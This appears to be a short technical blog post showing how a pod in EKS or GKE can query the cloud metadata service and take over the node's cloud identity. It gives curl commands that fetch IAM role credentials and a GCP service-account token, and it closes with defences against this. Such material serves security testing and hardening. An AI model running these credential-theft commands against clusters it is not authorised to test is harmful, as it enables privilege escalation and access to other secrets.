Reach the node role from inside EKS or GKE

Aug 7, 2026 · 1 min read

If the cluster does not block pod access to the metadata service, a pod can assume the underlying node’s cloud identity and its broader permissions.

bash

# EKS: node role via IMDS from a pod
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

GKE exposes the node service account similarly.

bash

curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Pro note: proper clusters block pod metadata access (IMDSv2 hop limit, network policy, or GKE Workload Identity). If it is reachable, the node role frequently allows pulling images, reading other secrets, or ec2 and compute actions well beyond what the workload needs. This is one of the most common cloud-native escalation paths.